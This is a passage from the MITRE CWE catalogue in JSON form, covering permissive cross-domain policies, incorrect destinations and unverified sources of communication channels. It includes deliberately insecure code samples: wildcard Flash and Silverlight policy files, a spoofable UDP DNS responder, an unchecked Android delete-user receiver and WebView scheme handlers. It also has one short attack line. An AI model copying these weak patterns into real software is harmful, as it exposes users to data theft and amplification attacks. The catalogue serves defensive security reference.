{"xhtml:p": "In HTTP/HTTPS, policies such as the Same Origin\n              Policy prevent web clients from loading resources from\n              (or making requests to) domains that did not match the\n              web site's own domain, e.g., Javascript or other code\n              hosted on third-party servers. These policies are\n              strictly enforced by browsers and other\n              products. However, these restrictions can be reduced\n              using mechanisms that specify other domains that are\n              allowed to be contacted from the original site, such as\n              Content Security Policy (CSP) or cross-domain policy files\n              (e.g., \"crossdomain.xml\" in Adobe Flash or Reader,\n              \"clientaccesspolicy.xml\" in Silverlight, etc.).  These\n              mechanisms define a list of domains from which a client\n              is allowed to make cross-domain requests. When making a\n              cross-domain request, the client will first look for the\n              policy file on the target server. If it is found, and\n              the domain hosting the application is explicitly allowed\n              to make requests, the request is made.", "#text_blocks": ["In HTTP/HTTPS, policies such as the Same Origin\n              Policy prevent web clients from loading resources from\n              (or making requests to) domains that did not match the\n              web site's own domain, e.g., Javascript or other code\n              hosted on third-party servers. These policies are\n              strictly enforced by browsers and other\n              products. However, these restrictions can be reduced\n              using mechanisms that specify other domains that are\n              allowed to be contacted from the original site, such as\n              Content Security Policy (CSP) or cross-domain policy files\n              (e.g., \"crossdomain.xml\" in Adobe Flash or Reader,\n              \"clientaccesspolicy.xml\" in Silverlight, etc.).  These\n              mechanisms define a list of domains from which a client\n              is allowed to make cross-domain requests. When making a\n              cross-domain request, the client will first look for the\n              policy file on the target server. If it is found, and\n              the domain hosting the application is explicitly allowed\n              to make requests, the request is made."]}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Implementation"}, {"Phase": "Architecture and Design", "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic."}]}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability", "Access Control"], "Impact": ["Execute Unauthorized Code or Commands", "Bypass Protection Mechanism", "Read Application Data", "Varies by Context"], "Note": "If a cross-domain policy file includes domains\n            that should not be trusted, such as when using wildcards\n            under a high-level domain, then the application could be\n            attacked by these untrusted domains. In many cases, the\n            attack can be launched without the victim even being aware\n            of it. With an overly permissive policy file, an attacker may be able to bypass the web browser's same-origin policy and conduct many of the same attacks seen in Cross-Site Scripting (CWE-79). An attacker can exploit the weakness to transfer private information from the victim's machine to the attacker, manipulate or steal cookies that may include session information, create malicious requests to a web site on behalf of the victim, or execute malicious code on the end user systems. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content."}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": ["Architecture and Design", "Operation"], "Strategy": "Attack Surface Reduction", "Description": ["Define a restrictive Content Security Policy [REF-1486] or cross-domain policy file."]}, {"Phase": ["Architecture and Design", "Operation"], "Strategy": "Attack Surface Reduction", "Description": ["Avoid using wildcards in the CSP / cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server."]}, {"Phase": ["Architecture and Design", "Operation"], "Strategy": "Environment Hardening", "Description": ["For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-208", "Intro_Text": "These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:", "Body_Text": ["Flash crossdomain.xml :", "Silverlight clientaccesspolicy.xml :", "These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it."], "Example_Code": [{"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "<cross-domain-policy xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xsi:noNamespaceSchemaLocation=\"http://www.adobe.com/xml/schemas/PolicyFile.xsd\"><allow-access-from domain=\"*.example.com\"/><allow-access-from domain=\"*\"/></cross-domain-policy>"}, "#text_blocks": ["<cross-domain-policy xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"", "xsi:noNamespaceSchemaLocation=\"http://www.adobe.com/xml/schemas/PolicyFile.xsd\">", "<allow-access-from domain=\"*.example.com\"/>", "<allow-access-from domain=\"*\"/>", "</cross-domain-policy>"]}, {"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null], "#text": "<?xml version=\"1.0\" encoding=\"utf-8\"?><access-policy><cross-domain-access><policy><allow-from http-request-headers=\"SOAPAction\"><domain uri=\"*\"/></allow-from><grant-to><resource path=\"/\" include-subpaths=\"true\"/></grant-to></policy></cross-domain-access></access-policy>"}, "#text_blocks": ["<?xml version=\"1.0\" encoding=\"utf-8\"?>", "<access-policy>", "<cross-domain-access>", "<policy>", "<allow-from http-request-headers=\"SOAPAction\">", "<domain uri=\"*\"/>", "</allow-from>", "<grant-to>", "<resource path=\"/\" include-subpaths=\"true\"/>", "</grant-to>", "</policy>", "</cross-domain-access>", "</access-policy>"]}]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2012-2292", "Description": "Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2292"}, {"Reference": "CVE-2014-2049", "Description": "The default Flash Cross Domain policies in a product allow remote attackers to access user files.", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-2049"}, {"Reference": "CVE-2007-6243", "Description": "Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-6243"}, {"Reference": "CVE-2008-4822", "Description": "Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-4822"}, {"Reference": "CVE-2010-3636", "Description": "Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors.", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-3636"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-1486"}, {"@External_Reference_ID": "REF-943"}, {"@External_Reference_ID": "REF-944"}, {"@External_Reference_ID": "REF-945"}, {"@External_Reference_ID": "REF-946"}, {"@External_Reference_ID": "REF-947"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-06-05", "Submission_Version": "2.7", "Submission_ReleaseDate": "2014-06-23", "Submission_Comment": "Created by MITRE with input from members of the CWE-Research mailing list."}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Description, Name"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated Background_Details, Common_Consequences, Description, Name, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Observed_Examples"}], "Contribution": {"@Type": "Content", "Contribution_Name": "Jagjeet Singh", "Contribution_Organization": "Rakuten Kobo Inc.", "Contribution_Date": "2022-08-23", "Contribution_Version": "4.18", "Contribution_ReleaseDate": "2025-09-09", "Contribution_Comment": "Suggested new entry for misconfigured CSP allowing JavaScript, leading to changes in CWE-942 to make it more general"}, "Previous_Entry_Name": [{"@Date": "2020-02-26", "#text": "Overly Permissive Cross-domain Whitelist"}, {"@Date": "2025-09-09", "#text": "Permissive Cross-domain Policy with Untrusted Domains"}]}, "entry_type": "Weakness", "ranking": 170.0}, {"@ID": "941", "@Name": "Incorrectly Specified Destination in a Communication Channel", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product creates a communication channel to initiate an outgoing request to an actor, but it does not correctly specify the intended destination for that actor.", "Technical_Nuance": {"xhtml:p": "There are at least two distinct weaknesses that can cause the product to communicate with an unintended destination:", "xhtml:ul": {"xhtml:li": ["If the product allows an attacker to control / specify the destination, e.g., as part of input to the product.", "If the product incorrectly computes or specifies a destination for a trusted system. For example, the product might incorrectly parse an e-mail or IP address and send sensitive data. As another example, an Android application may use a \"sticky broadcast\" to communicate with a receiver for a particular application, but by their nature, sticky broadcasts can be processed by *any* receiver."]}, "#text_blocks": ["There are at least two distinct weaknesses that can cause the product to communicate with an unintended destination:", "If the product allows an attacker to control / specify the destination, e.g., as part of input to the product.", "If the product incorrectly computes or specifies a destination for a trusted system. For example, the product might incorrectly parse an e-mail or IP address and send sensitive data. As another example, an Android application may use a \"sticky broadcast\" to communicate with a receiver for a particular application, but by their nature, sticky broadcasts can be processed by *any* receiver."]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "923", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "406", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "System Configuration", "Note": "While the most common occurrence is likely due to misconfiguration by an administrator, this can be resultant from other weaknesses."}, {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}]}, "Common_Consequences": {"Consequence": {"Scope": ["Access Control", "Other"], "Impact": ["Gain Privileges or Assume Identity", "Varies by Context", "Bypass Protection Mechanism"], "Note": {"xhtml:p": "An attacker at the destination may be able to spoof trusted servers to steal data or cause a denial of service. The attacker can access any functionality that is inadvertently accessible to the source.", "xhtml:ul": {"xhtml:li": [{"xhtml:p": ["For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS).", "As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions."], "#text": "If the product allows an attacker to control/specify the destination, then the attacker can cause it to connect to an untrusted or malicious destination."}, "If the product incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted components or servers."]}, "#text_blocks": ["An attacker at the destination may be able to spoof trusted servers to steal data or cause a denial of service. The attacker can access any functionality that is inadvertently accessible to the source.", "If the product allows an attacker to control/specify the destination, then the attacker can cause it to connect to an untrusted or malicious destination.", "For example, because UDP is a connectionless protocol, UDP packets can be spoofed by specifying a false source address in the packet; when the server receives the packet and sends a reply, it will specify a destination by using the source of the incoming packet - i.e., the false source. The server can then be tricked into sending traffic to the wrong host, which is effective for hiding the real source of an attack and for conducting a distributed denial of service (DDoS).", "As another example, server-side request forgery (SSRF) and XML External Entity (XXE) can be used to trick a server into making outgoing requests to hosts that cannot be directly accessed by the attacker due to firewall restrictions.", "If the product incorrectly specifies the destination, then an attacker who can control this destination might be able to spoof trusted components or servers."]}}}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-113", "Intro_Text": "This code listens on a port for DNS requests and sends the result to the requesting address.", "Example_Code": {"@Nature": "Bad", "@Language": "Python", "xhtml:div": {"xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "#text": "break"}, "#text": "data = sock.recvfrom(1024)if not data:\n                           (requestIP, nameToResolve) = parseUDPpacket(data)record = resolveName(nameToResolve)sendResponse(requestIP,record)"}}, "#text": "sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.bind( (UDP_IP,UDP_PORT) )while true:"}, "#text_blocks": ["sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)", "sock.bind( (UDP_IP,UDP_PORT) )", "while true:", "data = sock.recvfrom(1024)", "if not data:", "break", "(requestIP, nameToResolve) = parseUDPpacket(data)", "record = resolveName(nameToResolve)", "sendResponse(requestIP,record)"]}, "Body_Text": "This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic."}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2013-5211", "Description": "composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.", "Link": "https://www.cve.org/CVERecord?id=CVE-2013-5211"}, {"Reference": "CVE-1999-0513", "Description": "Classic \"Smurf\" attack, using spoofed ICMP packets to broadcast addresses.", "Link": "https://www.cve.org/CVERecord?id=CVE-1999-0513"}, {"Reference": "CVE-1999-1379", "Description": "DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.", "Link": "https://www.cve.org/CVERecord?id=CVE-1999-1379"}]}, "References": {"Reference": [{"@External_Reference_ID": "REF-941"}, {"@External_Reference_ID": "REF-942"}]}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-02-13", "Submission_Version": "2.6", "Submission_ReleaseDate": "2014-02-19"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Common_Consequences, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Modes_of_Introduction, Technical_Nuance, Time_of_Introduction, Weakness_Ordinalities"}]}, "entry_type": "Weakness", "ranking": 10.0}, {"@ID": "940", "@Name": "Improper Verification of Source of a Communication Channel", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "923", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "346", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design"}, {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}]}, "Common_Consequences": {"Consequence": {"Scope": ["Access Control", "Other"], "Impact": ["Gain Privileges or Assume Identity", "Varies by Context", "Bypass Protection Mechanism"], "Note": "An attacker from an untrusted origin could successfully establish a communication channel. The attacker could then gain privileges and access unexpected functionality that was only intended for trusted sources."}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Architecture and Design", "Description": ["Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack.", "When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-112", "Intro_Text": "This Android application will remove a user account when it receives an intent to do so:", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "int userID = intent.getIntExtra(\"userID\");destroyUserData(userID);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "IntentFilter filter = new IntentFilter(\"com.example.RemoveUser\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);\n                     public class DeleteReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.RemoveUser\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);", "public class DeleteReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "int userID = intent.getIntExtra(\"userID\");", "destroyUserData(userID);", "}", "}"]}, "Body_Text": "This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file."}, {"@Demonstrative_Example_ID": "DX-109", "Intro_Text": "These Android and iOS applications intercept URL loading within a WebView and perform special actions if a particular URL scheme is used, thus allowing the Javascript within the WebView to communicate with the application:", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:i": "// Android", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "#text": "writeDataToView(view, UserData);return false;"}, {"@style": "margin-left:1em;", "#text": "return true;"}], "xhtml:br": null, "#text": "if(url.substring(14,25).equalsIgnoreCase(\"getUserInfo\")){}else{}"}, "#text": "if (url.substring(0,14).equalsIgnoreCase(\"examplescheme:\")){}"}}, "#text": "@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url){}"}, "#text_blocks": ["// Android", "@Override", "public boolean shouldOverrideUrlLoading(WebView view, String url){", "if (url.substring(0,14).equalsIgnoreCase(\"examplescheme:\")){", "if(url.substring(14,25).equalsIgnoreCase(\"getUserInfo\")){", "writeDataToView(view, UserData);", "return false;", "}", "else{", "return true;", "}", "}", "}"]}, {"@Nature": "Bad", "@Language": "Objective-C", "xhtml:div": {"xhtml:i": "// iOS", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null], "xhtml:i": "// Make data available back in webview.", "#text": "UIWebView *webView = [self writeDataToView:[URL query]];"}}, "#text": "NSString *functionString = [URL resourceSpecifier];if ([functionString hasPrefix:@\"specialFunction\"]){}return NO;"}}, "#text": "NSURL *URL = [exRequest URL];if ([[URL scheme] isEqualToString:@\"exampleScheme\"]){}return YES;"}}, "#text": "-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType{}"}, "#text_blocks": ["// iOS", "-(BOOL) webView:(UIWebView *)exWebView shouldStartLoadWithRequest:(NSURLRequest *)exRequest navigationType:(UIWebViewNavigationType)exNavigationType", "{", "NSURL *URL = [exRequest URL];", "if ([[URL scheme] isEqualToString:@\"exampleScheme\"])", "{", "NSString *functionString = [URL resourceSpecifier];", "if ([functionString hasPrefix:@\"specialFunction\"])", "{", "// Make data available back in webview.", "UIWebView *webView = [self writeDataToView:[URL query]];", "}", "return NO;", "}", "return YES;", "}"]}, {"@Nature": "Attack", "@Language": "JavaScript", "xhtml:div": "window.location = examplescheme://method?parameter=value", "#text_blocks": ["window.location = examplescheme://method?parameter=value"]}], "Body_Text": ["A call into native code can then be initiated by passing parameters within the URL:", "Because the application does not check the source, a malicious website loaded within this WebView has the same access to the API as a trusted site."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2025-3651", "Description": "desktop product does not properly verify the source of a communication channel, allowing command execution", "Link": "https://www.cve.org/CVERecord?id=CVE-2025-3651"}, {"Reference": "CVE-2000-1218", "Description": "DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-1218"}, {"Reference": "CVE-2005-0877", "Description": "DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0877"}, {"Reference": "CVE-2001-1452", "Description": "DNS server caches glue records received from non-delegated name servers", "Link": "https://www.cve.org/CVERecord?id=CVE-2001-1452"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "500"}, {"@CAPEC_ID": "594"}, {"@CAPEC_ID": "595"}, {"@CAPEC_ID": "596"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-324"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "While many access control issues involve authenticating the user, this weakness is more about authenticating the actual source of the communication channel itself; there might not be any \"user\" in such cases."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-02-13", "Submission_Version": "2.6", "Submission_ReleaseDate": "2014-02-19"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Demonstrative_Examples, Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-07-20", "Modification_Version": "4.5", "Modification_ReleaseDate": "2021-07-20", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-11-19", "Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Common_Consequences, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description"}]}, "entry_type": "Weakness", "ranking": 92.0}, {"@ID": "94", "@Name": "Improper Control of Generation of Code", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "@Diagram": "/data/images/CWE-94-Diagram.png", "Description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", 